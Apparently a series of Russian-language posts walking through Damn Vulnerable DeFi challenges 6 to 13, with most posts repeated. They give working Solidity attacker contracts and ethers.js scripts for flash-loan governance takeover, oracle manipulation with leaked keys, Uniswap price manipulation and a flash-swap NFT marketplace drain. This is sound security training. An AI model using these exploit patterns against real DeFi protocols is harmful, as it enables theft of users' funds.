Также, чтобы создать предложение, нам нужно пройти проверку _hasEnoughVotes() на количество токенов, которое должно превышать половину всех выпущенных токенов. По условию выпущено 2млн токенов, и нам нужно владеть хотя бы 1 млн токенов + 1.
Если посмотреть, то проверка описается на метод getBalanceAtLastSnapshot(), который в свою очередь берет значения из фукнции snapshot(). Это можно увидеть, открыв файл DamnValuableTokenSnapshot.sol.
Поэтому, перед тем как создавать свое предложение, нам нужно пройти проверку и для этого вызвать функцию snapshot().
Код контракта может выглядеть так:
contract Attacker6 {
ERC20Snapshot public token;
SelfiePool private immutable pool;
SimpleGovernance private immutable governance;
address payable attacker;
uint256 public actionId;
constructor (address tokenAddress, address poolAddress, address governanceAddress, address attackerAddress) {
token = ERC20Snapshot(tokenAddress);
pool = SelfiePool(poolAddress);
governance = SimpleGovernance(governanceAddress);
attacker = payable(attackerAddress);
}
function attack(uint256 amount) external {
pool.flashLoan(amount);
}
function receiveTokens(address tokenAddress, uint256 amount) external {
DamnValuableTokenSnapshot governanceToken = DamnValuableTokenSnapshot(tokenAddress);
governanceToken.snapshot();
actionId = governance.queueAction(address(pool), abi.encodeWithSignature(
"drainAllFunds(address)",
attacker
), 0);
token.transfer(msg.sender, amount);
}
receive() external payable {}
}
И решение:
const SelfieAttackerFactory = await ethers.getContractFactory('Attacker6', deployer);
const attackerContract = await SelfieAttackerFactory.deploy(this.token.address, this.pool.address, this.governance.address, attacker.address);
await attackerContract.connect(attacker).attack(TOKENS_IN_POOL);
const actionId = ethers.BigNumber.from(await attackerContract.connect(attacker).actionId());
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await this.governance.connect(attacker).executeAction(actionId);
Проверка через команду yarn run selfie.
#dvd #DamnVulnerableDefi
Есть пул, который предлагает заqмы в токенах и имеет свой governance. Цель задачи захватить все токены из пула.
В чем суть?
Задача научила меня смотреть не только сами контракты, но и js файл, или точнее сказать условия их деплоя. Тогда вся картина сложилась. А именно то, что оба этих контракта используют один и тот же токен: и для займа, и для голосования. Более того, нет никакой проверки, откуда у адресата токены.
Картина взлома такая: мы берем займ по известной ранее схеме, создаем голосование и потом выводим все токены. Но тут есть пара моментов.
Когда мы создаем новое предложение в governance, используя функцию queueAction(), то создаем новую структуру GovernanceAction, одним из параметров которой является bytes data. Его можно использовать для передачи функции на вывод всех токенов из пула.
Также, чтобы создать предложение, нам нужно пройти проверку _hasEnoughVotes() на количество токенов, которое должно превышать половину всех выпущенных токенов. По условию выпущено 2млн токенов, и нам нужно владеть хотя бы 1 млн токенов + 1.
Если посмотреть, то проверка описается на метод getBalanceAtLastSnapshot(), который в свою очередь берет значения из фукнции snapshot(). Это можно увидеть, открыв файл DamnValuableTokenSnapshot.sol.
Поэтому, перед тем как создавать свое предложение, нам нужно пройти проверку и для этого вызвать функцию snapshot().
Код контракта может выглядеть так:
contract Attacker6 {
ERC20Snapshot public token;
SelfiePool private immutable pool;
SimpleGovernance private immutable governance;
address payable attacker;
uint256 public actionId;
constructor (address tokenAddress, address poolAddress, address governanceAddress, address attackerAddress) {
token = ERC20Snapshot(tokenAddress);
pool = SelfiePool(poolAddress);
governance = SimpleGovernance(governanceAddress);
attacker = payable(attackerAddress);
}
function attack(uint256 amount) external {
pool.flashLoan(amount);
}
function receiveTokens(address tokenAddress, uint256 amount) external {
DamnValuableTokenSnapshot governanceToken = DamnValuableTokenSnapshot(tokenAddress);
governanceToken.snapshot();
actionId = governance.queueAction(address(pool), abi.encodeWithSignature(
"drainAllFunds(address)",
attacker
), 0);
token.transfer(msg.sender, amount);
}
receive() external payable {}
}
И решение:
const SelfieAttackerFactory = await ethers.getContractFactory('Attacker6', deployer);
const attackerContract = await SelfieAttackerFactory.deploy(this.token.address, this.pool.address, this.governance.address, attacker.address);
await attackerContract.connect(attacker).attack(TOKENS_IN_POOL);
const actionId = ethers.BigNumber.from(await attackerContract.connect(attacker).actionId());
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await this.governance.connect(attacker).executeAction(actionId);
Проверка через команду yarn run selfie.
#dvd #DamnVulnerableDefi
Damn Vulnerable Defi. Задача 7. Compromised
Нам нужно забрать весь Эфир с обменника.
В чем суть?
Я никогда ранее не встречал таких выводов с числами, поэтому скажу сразу, что эту задачу я пошел гуглить.
Как оказалось эти длинные значение, типа:
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
Нужно сначала перевести из байтов в строковые значение, а потом использовать декодер base64, чтобы получить приватные ключи.
Эти ключи, как оказалось, являются доступами к оракулам. которые используются для получения средней цены для NFT, которые, по логике задачи, нам нужно взломать, чтобы получить весь Эфир на свой счет.
Итак, пойдем пошагово.
Через все операции по декодированию мы получаем два приватных ключа от оракулов.
Далее нам нужно создать объекты этих оракулов с помощью:
new ethers.Wallet(privateKey, ethers.provider);
Про Wallet можно почитать тут. Но в целом, Wallet содержит в себе публичный или приватный ключи, который используется для того, чтобы подписывать транзакции и доказывать ownership.
Другими словами, здесь мы создадим два объекта, подключив которые, мы сможем управлять ценой NFT и проходить модификатор onlyTrustedSource в контракте TrustfulOracle.
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", ethers.utils.parseEther("0"));
В этой строке мы "берем на контракт, подключаемся к нему от имени оракула и меняем цену".
Далее, так как мы установили цену в ноль, то можем дешево купить NFT.
Потом снова через оракула устанавливаем цену NFT, но уже на максимум.
Продаем наш "золотой" NFT.
Ну, и чтобы пройти последнюю проверку в тестах:
expect(await this.oracle.getMedianPrice("DVNFT")).to.eq(INITIAL_NFT_PRICE);
нужно установить цену NFT, какой она была изначально.
В этой задаче можно обойтись без написания кода контракта. И решение может выглядеть так:
let privateKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
let privateKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
let compromisedOracle1 = new ethers.Wallet(privateKey1, ethers.provider);
let compromisedOracle2 = new ethers.Wallet(privateKey2, ethers.provider);
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", ethers.utils.parseEther("0"));
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT", ethers.utils.parseEther("0"));
const tx = await this.exchange.connect(attacker).buyOne({ value: ethers.utils.parseEther("0.01") });
await this.exchange.on("TokenBought", async(sender, tokenId, currentPriceInWei) => {
await this.nftToken.connect(attacker).approve(this.exchange.address, tokenId);
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.exchange.connect(attacker).sellOne(tokenId);
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", INITIAL_NFT_PRICE);
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT", INITIAL_NFT_PRICE);
});
await tx.wait(2);
Проверяем правильность решения командой yarn run compromised.
#dvd #DamnVulnerableDefi
Нам нужно забрать весь Эфир с обменника.
В чем суть?
Я никогда ранее не встречал таких выводов с числами, поэтому скажу сразу, что эту задачу я пошел гуглить.
Как оказалось эти длинные значение, типа:
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
Нужно сначала перевести из байтов в строковые значение, а потом использовать декодер base64, чтобы получить приватные ключи.
Эти ключи, как оказалось, являются доступами к оракулам. которые используются для получения средней цены для NFT, которые, по логике задачи, нам нужно взломать, чтобы получить весь Эфир на свой счет.
Итак, пойдем пошагово.
Через все операции по декодированию мы получаем два приватных ключа от оракулов.
Далее нам нужно создать объекты этих оракулов с помощью:
new ethers.Wallet(privateKey, ethers.provider);
Про Wallet можно почитать тут. Но в целом, Wallet содержит в себе публичный или приватный ключи, который используется для того, чтобы подписывать транзакции и доказывать ownership.
Другими словами, здесь мы создадим два объекта, подключив которые, мы сможем управлять ценой NFT и проходить модификатор onlyTrustedSource в контракте TrustfulOracle.
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", ethers.utils.parseEther("0"));
В этой строке мы "берем на контракт, подключаемся к нему от имени оракула и меняем цену".
Далее, так как мы установили цену в ноль, то можем дешево купить NFT.
Потом снова через оракула устанавливаем цену NFT, но уже на максимум.
Продаем наш "золотой" NFT.
Ну, и чтобы пройти последнюю проверку в тестах:
expect(await this.oracle.getMedianPrice("DVNFT")).to.eq(INITIAL_NFT_PRICE);
нужно установить цену NFT, какой она была изначально.
В этой задаче можно обойтись без написания кода контракта. И решение может выглядеть так:
let privateKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
let privateKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
let compromisedOracle1 = new ethers.Wallet(privateKey1, ethers.provider);
let compromisedOracle2 = new ethers.Wallet(privateKey2, ethers.provider);
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", ethers.utils.parseEther("0"));
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT", ethers.utils.parseEther("0"));
const tx = await this.exchange.connect(attacker).buyOne({ value: ethers.utils.parseEther("0.01") });
await this.exchange.on("TokenBought", async(sender, tokenId, currentPriceInWei) => {
await this.nftToken.connect(attacker).approve(this.exchange.address, tokenId);
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.exchange.connect(attacker).sellOne(tokenId);
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", INITIAL_NFT_PRICE);
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT", INITIAL_NFT_PRICE);
});
await tx.wait(2);
Проверяем правильность решения командой yarn run compromised.
#dvd #DamnVulnerableDefi
Damn Vulnerable Defi. Задача 8. Puppet
Есть пул, который позволяет брать займы токенов, и где нужно сначала сделать депозит в два раза больше суммы, что хочешь взять, в качестве залога. Также на Uniswap v1 exchange открыт маркет, где лежат 10 Эфира и 10 токенов. Начав с 25 эфира и 1000 токенов, нужно захватить все токены с пула.
В чем суть?
Тут необходимы знания и опыт работы с Uniswap v1, так как задача предполагает прямое взаимодействие с биржей и понимание принципов ее ценообразования.
Для начала поговорим кратко о том, как формируется цена на обмен токенов в V1.
Допустим есть пул для обмена токенов DVT на ETH. Чтобы корректировать цену на них применяется формула t / z = k, где k - константа, это число не меняется для пула совсем.
Это приводит к тому, что если, например, t в пуле будет больше, то цена его будет меньше, и наоборот для z - количества в пуле меньше и цена выше.
Этим и предлагают воспользоваться в задаче.
1. Мы берем наши токены и обмениваем их на Эфир на бирже Uniswap. Обменять вообще все и опустошить пул не получится, поэтому максимум для обмена будет 9.9 ETH. Это приведет к тому, что Эфира на бирже почти не останется, зато токенов будет очень и очень много. Соответственно цена на токены упадет в разы.
2. Так как контракт PuppetPool использует функцию calculateDepositRequired() для расчета стоимости займа, которая в свою очередь опирается на цену пары Uniswap, то для займа 100 000 токенов, нам потребуется всего 20 ETH, после всех манипуляций на бирже.
Для решения задачи, нам нужно будет подключиться к бирже и выполнить обмен с помощью метода tokenToEthSwapOutput(), которые принимает в качестве аргументов сумму Эфира для обмена, количество ваших токенов, которые хотите обменять, и дедлайн (uint256). Эту информацию можно найти в официальной документации Uniswap V1 тут в разделе контракта Exchange.
Решение может быть таким:
await this.token.connect(attacker).approve( this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);
const tx = await this.uniswapExchange.connect(attacker).tokenToEthSwapOutput(ethers.utils.parseEther('9.9'),
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{ gasLimit: 1e6 }
);
await tx.wait();
const depositRequired = await this.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE, {value: depositRequired});
Для проверки используем команду в консоли yarn run puppet.
#dvd #DamnVulnerableDefi
Есть пул, который позволяет брать займы токенов, и где нужно сначала сделать депозит в два раза больше суммы, что хочешь взять, в качестве залога. Также на Uniswap v1 exchange открыт маркет, где лежат 10 Эфира и 10 токенов. Начав с 25 эфира и 1000 токенов, нужно захватить все токены с пула.
В чем суть?
Тут необходимы знания и опыт работы с Uniswap v1, так как задача предполагает прямое взаимодействие с биржей и понимание принципов ее ценообразования.
Для начала поговорим кратко о том, как формируется цена на обмен токенов в V1.
Допустим есть пул для обмена токенов DVT на ETH. Чтобы корректировать цену на них применяется формула t / z = k, где k - константа, это число не меняется для пула совсем.
Это приводит к тому, что если, например, t в пуле будет больше, то цена его будет меньше, и наоборот для z - количества в пуле меньше и цена выше.
Этим и предлагают воспользоваться в задаче.
1. Мы берем наши токены и обмениваем их на Эфир на бирже Uniswap. Обменять вообще все и опустошить пул не получится, поэтому максимум для обмена будет 9.9 ETH. Это приведет к тому, что Эфира на бирже почти не останется, зато токенов будет очень и очень много. Соответственно цена на токены упадет в разы.
2. Так как контракт PuppetPool использует функцию calculateDepositRequired() для расчета стоимости займа, которая в свою очередь опирается на цену пары Uniswap, то для займа 100 000 токенов, нам потребуется всего 20 ETH, после всех манипуляций на бирже.
Для решения задачи, нам нужно будет подключиться к бирже и выполнить обмен с помощью метода tokenToEthSwapOutput(), которые принимает в качестве аргументов сумму Эфира для обмена, количество ваших токенов, которые хотите обменять, и дедлайн (uint256). Эту информацию можно найти в официальной документации Uniswap V1 тут в разделе контракта Exchange.
Решение может быть таким:
await this.token.connect(attacker).approve( this.uniswapExchange.address, ATTACKER_INITIAL_TOKEN_BALANCE);
const tx = await this.uniswapExchange.connect(attacker).tokenToEthSwapOutput(ethers.utils.parseEther('9.9'),
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{ gasLimit: 1e6 }
);
await tx.wait();
const depositRequired = await this.lendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE, {value: depositRequired});
Для проверки используем команду в консоли yarn run puppet.
#dvd #DamnVulnerableDefi
Damn Vulnerable Defi. Задача 9. Puppet v2
Задача очень похожа на предыдущую, только сейчас уже используется Uniswap v2. Мы стартуем с 20 Эфиром и 10 000 токенами, и целью является захват всего миллиона токенов в пуле.
В чем суть?
Тут я просидел пару часов, но так и не смог дойти до финала решения задачи, поэтому пришлось идти гуглить, как довести до конца.
Из первой задачи я понял, что и тут нужно сделать обмен на бирже, чтобы понизить цену токена, но потом затормозил в расчетах.
Итак, пойдем по шагам:
У нас на счету есть 20 Эфира и 10 000 токенов DTV. В пуле 1 млн токенов. Нам нужно узнать, сколько Эфира потребуется для займа.
Сумма депозита для займа рассчитывается функцией calculateDepositOfWETHRequired(), которая, в свою очередь, обращается к служебной функции _getOracleQuote(), и которая получает значение из Uniswap функции UniswapV2Library.quote().
В библиотеки Uniswap эта функция выглядит так:
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(
reserveA > 0 && reserveB > 0,
'UniswapV2Library:INSUFFICIENT_LIQUIDITY'
);
amountB = amountA.mul(reserveB) / reserveA;
}
Т.е. amountB = amountA.mul(reserveB) / reserveA можно перевести для нашей задачи в:
costForAllDVTInPool = amountToBorrow * (reserveWETH / reserveDVT)
Теперь заменим строки значениями, которые даны нам по условию задачи:
ИтоговаяЦенаТокеновПула = 1 000 000 (10 / 100) получается 100 000 WETH.
И так как, опять же по контракту, нам нужно иметь сумму х3 для возможности займа, то всего требуется 300 000 WETH.
С этим понятно. Идем дальше.
На бирже Uniswap мы совершаем обмен всех наших токенов DVT на WETH, из чего их соотношение меняется с (100/10) до (10 100 / 0,09), соответственно цена DVT падает, а мы получаем 9.9 WETH.
Вернемся к формуле теперь:
newCostForAllDVTInPool = 1000000 * (0,09... / 10100) = 9.8...
И для полного займа нам потребуется 9.8 х 3 = 29.4... WETH.
У нас, после обмена, уже есть 9.9, а значит недостает 19.6 WETH.
По условиям задачи у нас уже есть 20 ETH, которые прораниваются 1/1 к WETH. Мы делаем депозит на контракт 19.6 ETH и получаем столько же WETH.
Все готово, теперь мы можем взять займ с пула на весь млн токенов!
Решение может выглядеть так:
await this.token.connect(attacker).approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE)
await this.uniswapRouter.connect(attacker).swapExactTokensForTokens(
ATTACKER_INITIAL_TOKEN_BALANCE,
0,
[this.token.address, this.weth.address],
attacker.address,
(await ethers.provider.getBlock('latest')).timestamp * 2
)
await this.weth.connect(attacker).deposit({ value: ethers.utils.parseEther('19.6') })
const wethRequired = await this.lendingPool.calculateDepositOfWETHRequired(
POOL_INITIAL_TOKEN_BALANCE)
await this.weth.connect(attacker).approve(this.lendingPool.address, wethRequired)
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE)
Проверяем командой yarn run puppet-v2.
Для меня тут сложность вызвало то, что нужно было держать в голове два токена (DTV, WETH) и сам Эфир, жонглируя ими в течение всех операций. Только смотря в решение и разбирая каждую строку, я смог, наконец, понять все идею взлома.
#dvd #DamnVulnerableDefi
Задача очень похожа на предыдущую, только сейчас уже используется Uniswap v2. Мы стартуем с 20 Эфиром и 10 000 токенами, и целью является захват всего миллиона токенов в пуле.
В чем суть?
Тут я просидел пару часов, но так и не смог дойти до финала решения задачи, поэтому пришлось идти гуглить, как довести до конца.
Из первой задачи я понял, что и тут нужно сделать обмен на бирже, чтобы понизить цену токена, но потом затормозил в расчетах.
Итак, пойдем по шагам:
У нас на счету есть 20 Эфира и 10 000 токенов DTV. В пуле 1 млн токенов. Нам нужно узнать, сколько Эфира потребуется для займа.
Сумма депозита для займа рассчитывается функцией calculateDepositOfWETHRequired(), которая, в свою очередь, обращается к служебной функции _getOracleQuote(), и которая получает значение из Uniswap функции UniswapV2Library.quote().
В библиотеки Uniswap эта функция выглядит так:
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(
reserveA > 0 && reserveB > 0,
'UniswapV2Library:INSUFFICIENT_LIQUIDITY'
);
amountB = amountA.mul(reserveB) / reserveA;
}
Т.е. amountB = amountA.mul(reserveB) / reserveA можно перевести для нашей задачи в:
costForAllDVTInPool = amountToBorrow * (reserveWETH / reserveDVT)
Теперь заменим строки значениями, которые даны нам по условию задачи:
ИтоговаяЦенаТокеновПула = 1 000 000 (10 / 100) получается 100 000 WETH.
И так как, опять же по контракту, нам нужно иметь сумму х3 для возможности займа, то всего требуется 300 000 WETH.
С этим понятно. Идем дальше.
На бирже Uniswap мы совершаем обмен всех наших токенов DVT на WETH, из чего их соотношение меняется с (100/10) до (10 100 / 0,09), соответственно цена DVT падает, а мы получаем 9.9 WETH.
Вернемся к формуле теперь:
newCostForAllDVTInPool = 1000000 * (0,09... / 10100) = 9.8...
И для полного займа нам потребуется 9.8 х 3 = 29.4... WETH.
У нас, после обмена, уже есть 9.9, а значит недостает 19.6 WETH.
По условиям задачи у нас уже есть 20 ETH, которые прораниваются 1/1 к WETH. Мы делаем депозит на контракт 19.6 ETH и получаем столько же WETH.
Все готово, теперь мы можем взять займ с пула на весь млн токенов!
Решение может выглядеть так:
await this.token.connect(attacker).approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE)
await this.uniswapRouter.connect(attacker).swapExactTokensForTokens(
ATTACKER_INITIAL_TOKEN_BALANCE,
0,
[this.token.address, this.weth.address],
attacker.address,
(await ethers.provider.getBlock('latest')).timestamp * 2
)
await this.weth.connect(attacker).deposit({ value: ethers.utils.parseEther('19.6') })
const wethRequired = await this.lendingPool.calculateDepositOfWETHRequired(
POOL_INITIAL_TOKEN_BALANCE)
await this.weth.connect(attacker).approve(this.lendingPool.address, wethRequired)
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE)
Проверяем командой yarn run puppet-v2.
Для меня тут сложность вызвало то, что нужно было держать в голове два токена (DTV, WETH) и сам Эфир, жонглируя ими в течение всех операций. Только смотря в решение и разбирая каждую строку, я смог, наконец, понять все идею взлома.
#dvd #DamnVulnerableDefi
👍1
Damn Vulnerable Defi. Задача 10. Free rider
Запустился новый маркет NFT с первыми 6 картинками и ценой в 15 ETH. Один из покупателей предлагает 45 ETH за взлом маркета и кражу всех токенов.
На счету у вас всего 0.5 ETH. Нужно выполнить задумку взлома.
В чем суть?
Как и для предыдущей задачи, тут нам требуется знать, как работает Uniswap, а точнее его flashloans. Другими словами, мы может взять некоторое количество Эфира, использовать его для своих целей, и вернуть в этой же транзакции, заплатив небольшую комиссию. Именно для комиссии, нам дали те 0.5 Эфира в начале.
Далее пройдемся по контракту и попробуем посмотреть, что может сыграть на на руку.
Взгляните на функцию _buyOne(). Она сначала пересылает сам токен, а потом еще и возвращает деньги заплатившему! Т.е. не продавец получит деньги, а покупатель вернет свои! Эту уязвимость и предлагают нам использовать в купе с flashloan от Uniswap.
Так как же выполнить задачу: получить быстрый займ, прокрутить NFT, отправив их на адрес заказчика, и после всего, получить свои 45 Эфира вознаграждения?
Логика будет такая: мы берем займ WETH, меняем его на ETH, покупаем NTF, возвращая деньги с помощью ошибки в коде, снова меняем ETH на WETH и отдаем займ с процентом на биржу Uniswap. И все это в одной транзакции!
Для этого потребуется написать небольшой контракт:
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
contract Attacker10 {
IERC721 private immutable NFT;
IWETH private immutable WETH;
IUniswapV2Pair private immutable UNISWAP_PAIR;
//Создаем объекты контрактов NFT, WETH и пары Uniswap для обмена
address private immutable marketplace;
address private immutable buyer;
address private immutable attacker;
uint256[] tokenIds = [0, 1, 2, 3, 4, 5];
//токены для покупки
receive() external payable {}
constructor(
address _nft,
address payable _weth,
address _pair,
address payable _marketplace,
address _buyer
) {
NFT = IERC721(_nft);
WETH = IWETH(_weth);
UNISWAP_PAIR = IUniswapV2Pair(_pair);
marketplace = _marketplace;
attacker = msg.sender;
buyer = _buyer;
}
function attack(uint256 _amount0) external {
require(msg.sender == attacker);
bytes memory _data = "1";
UNISWAP_PAIR.swap(_amount0, 0, address(this), _data);
}
//Функция обмена на WETH в Uniswap
function uniswapV2Call(
address,
uint256 _amount0,
uint256,
bytes calldata
) external {
require(msg.sender == address(UNISWAP_PAIR) && tx.origin == attacker);
//Получаем ETH
WETH.withdraw(_amount0);
//Покупаем NTF
(bool nftsBought, ) = marketplace.call{value: _amount0}(
abi.encodeWithSignature("buyMany(uint256[])", tokenIds)
);
// Считаем комиссию и сумма swap
uint256 _fee = (_amount0 * 3) / 997 + 1;
uint256 _repayAmount = _fee + _amount0;
//Получаем WETH для возврата займа
WETH.deposit{value: _repayAmount}();
//Оплачиваем займ
WETH.transfer(address(UNISWAP_PAIR), _repayAmount);
//Отсылаем NFT заказчику
for (uint256 i = 0; i < 6; i++) {
NFT.safeTransferFrom(address(this), buyer, tokenIds[i]);
}
//Забираем вознаграждение за злом от заказчика
(bool ethSent, ) = attacker.call{value: address(this).balance}("");
require(nftsBought && ethSent);
}
//Функция для приема NFT на контракт
function onERC721Received(address, address, uint256,bytes memory)
external view returns (bytes4) {
require(msg.sender == address(NFT) && tx.origin == attacker);
return 0x150b7a02;
}
}
В документации можно найти, как рассчитывать комиссию за займ.
И решение может выглядеть так:
Запустился новый маркет NFT с первыми 6 картинками и ценой в 15 ETH. Один из покупателей предлагает 45 ETH за взлом маркета и кражу всех токенов.
На счету у вас всего 0.5 ETH. Нужно выполнить задумку взлома.
В чем суть?
Как и для предыдущей задачи, тут нам требуется знать, как работает Uniswap, а точнее его flashloans. Другими словами, мы может взять некоторое количество Эфира, использовать его для своих целей, и вернуть в этой же транзакции, заплатив небольшую комиссию. Именно для комиссии, нам дали те 0.5 Эфира в начале.
Далее пройдемся по контракту и попробуем посмотреть, что может сыграть на на руку.
Взгляните на функцию _buyOne(). Она сначала пересылает сам токен, а потом еще и возвращает деньги заплатившему! Т.е. не продавец получит деньги, а покупатель вернет свои! Эту уязвимость и предлагают нам использовать в купе с flashloan от Uniswap.
Так как же выполнить задачу: получить быстрый займ, прокрутить NFT, отправив их на адрес заказчика, и после всего, получить свои 45 Эфира вознаграждения?
Логика будет такая: мы берем займ WETH, меняем его на ETH, покупаем NTF, возвращая деньги с помощью ошибки в коде, снова меняем ETH на WETH и отдаем займ с процентом на биржу Uniswap. И все это в одной транзакции!
Для этого потребуется написать небольшой контракт:
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
contract Attacker10 {
IERC721 private immutable NFT;
IWETH private immutable WETH;
IUniswapV2Pair private immutable UNISWAP_PAIR;
//Создаем объекты контрактов NFT, WETH и пары Uniswap для обмена
address private immutable marketplace;
address private immutable buyer;
address private immutable attacker;
uint256[] tokenIds = [0, 1, 2, 3, 4, 5];
//токены для покупки
receive() external payable {}
constructor(
address _nft,
address payable _weth,
address _pair,
address payable _marketplace,
address _buyer
) {
NFT = IERC721(_nft);
WETH = IWETH(_weth);
UNISWAP_PAIR = IUniswapV2Pair(_pair);
marketplace = _marketplace;
attacker = msg.sender;
buyer = _buyer;
}
function attack(uint256 _amount0) external {
require(msg.sender == attacker);
bytes memory _data = "1";
UNISWAP_PAIR.swap(_amount0, 0, address(this), _data);
}
//Функция обмена на WETH в Uniswap
function uniswapV2Call(
address,
uint256 _amount0,
uint256,
bytes calldata
) external {
require(msg.sender == address(UNISWAP_PAIR) && tx.origin == attacker);
//Получаем ETH
WETH.withdraw(_amount0);
//Покупаем NTF
(bool nftsBought, ) = marketplace.call{value: _amount0}(
abi.encodeWithSignature("buyMany(uint256[])", tokenIds)
);
// Считаем комиссию и сумма swap
uint256 _fee = (_amount0 * 3) / 997 + 1;
uint256 _repayAmount = _fee + _amount0;
//Получаем WETH для возврата займа
WETH.deposit{value: _repayAmount}();
//Оплачиваем займ
WETH.transfer(address(UNISWAP_PAIR), _repayAmount);
//Отсылаем NFT заказчику
for (uint256 i = 0; i < 6; i++) {
NFT.safeTransferFrom(address(this), buyer, tokenIds[i]);
}
//Забираем вознаграждение за злом от заказчика
(bool ethSent, ) = attacker.call{value: address(this).balance}("");
require(nftsBought && ethSent);
}
//Функция для приема NFT на контракт
function onERC721Received(address, address, uint256,bytes memory)
external view returns (bytes4) {
require(msg.sender == address(NFT) && tx.origin == attacker);
return 0x150b7a02;
}
}
В документации можно найти, как рассчитывать комиссию за займ.
И решение может выглядеть так:
this.attackerContract = await (
await ethers.getContractFactory('Attacker10', attacker)
).deploy(
this.nft.address,
this.weth.address,
this.uniswapPair.address,
this.marketplace.address,
this.buyerContract.address
)
await this.attackerContract.connect(attacker).attack(NFT_PRICE)
Проверяем командой yarn run free-rider.
Это уже второе или третье задание, которое я не могу решить сам и лезу в сеть, чтобы понять, как все делается. Да, можно было упорно сидеть и тратить несколько дней на это, но сейчас цели другие. Чуть позже я объясню.
#dvd #DamnVulnerableDefi
await ethers.getContractFactory('Attacker10', attacker)
).deploy(
this.nft.address,
this.weth.address,
this.uniswapPair.address,
this.marketplace.address,
this.buyerContract.address
)
await this.attackerContract.connect(attacker).attack(NFT_PRICE)
Проверяем командой yarn run free-rider.
Это уже второе или третье задание, которое я не могу решить сам и лезу в сеть, чтобы понять, как все делается. Да, можно было упорно сидеть и тратить несколько дней на это, но сейчас цели другие. Чуть позже я объясню.
#dvd #DamnVulnerableDefi
Damn Vulnerable Defi. Задачи 11, 12 и 13
Задача 13. Safe miners
Указано, что она перерабатывается и в GitHub сборнике ее нет.
Задача 11. Backdoor
Эта задача требует навыков работы с Gnosis Safe Wallet. Вообще с Gnosis у меня давняя проблема понимания, поэтому хочу однажды более прицельно разобраться в этом сервисе и его услугам.
Просто копировать решение не вижу смысла. Вернусь к задаче в момент изучения Gnosis.
Задача 12. Climber
Еще одна задача на работу с прокси паттернами, в частности UUPS. Чуть более сложная, чем та, что мы разбирали ранее.
Я хочу чуть больше почитать примеров о работе прокси контрактов и отложить эту задачу также на потом.
Я разобрал несколько решений, которые нашел в сети; понял, что от нас требовалось; понял смысл реализации. И вместе с тем понял, что не смогу находить уязвимости в других подобных задачах, если не поработаю с прокси вообще. Поэтому решил дать себе время.
Итого, 10 из 12 задач для новичка звучит не плохо. Останавливаться же мы не собираемся и пойдем искать другие задачи для практики поиска уязвимостей.
#dvd #DamnVulnerableDefi
Задача 13. Safe miners
Указано, что она перерабатывается и в GitHub сборнике ее нет.
Задача 11. Backdoor
Эта задача требует навыков работы с Gnosis Safe Wallet. Вообще с Gnosis у меня давняя проблема понимания, поэтому хочу однажды более прицельно разобраться в этом сервисе и его услугам.
Просто копировать решение не вижу смысла. Вернусь к задаче в момент изучения Gnosis.
Задача 12. Climber
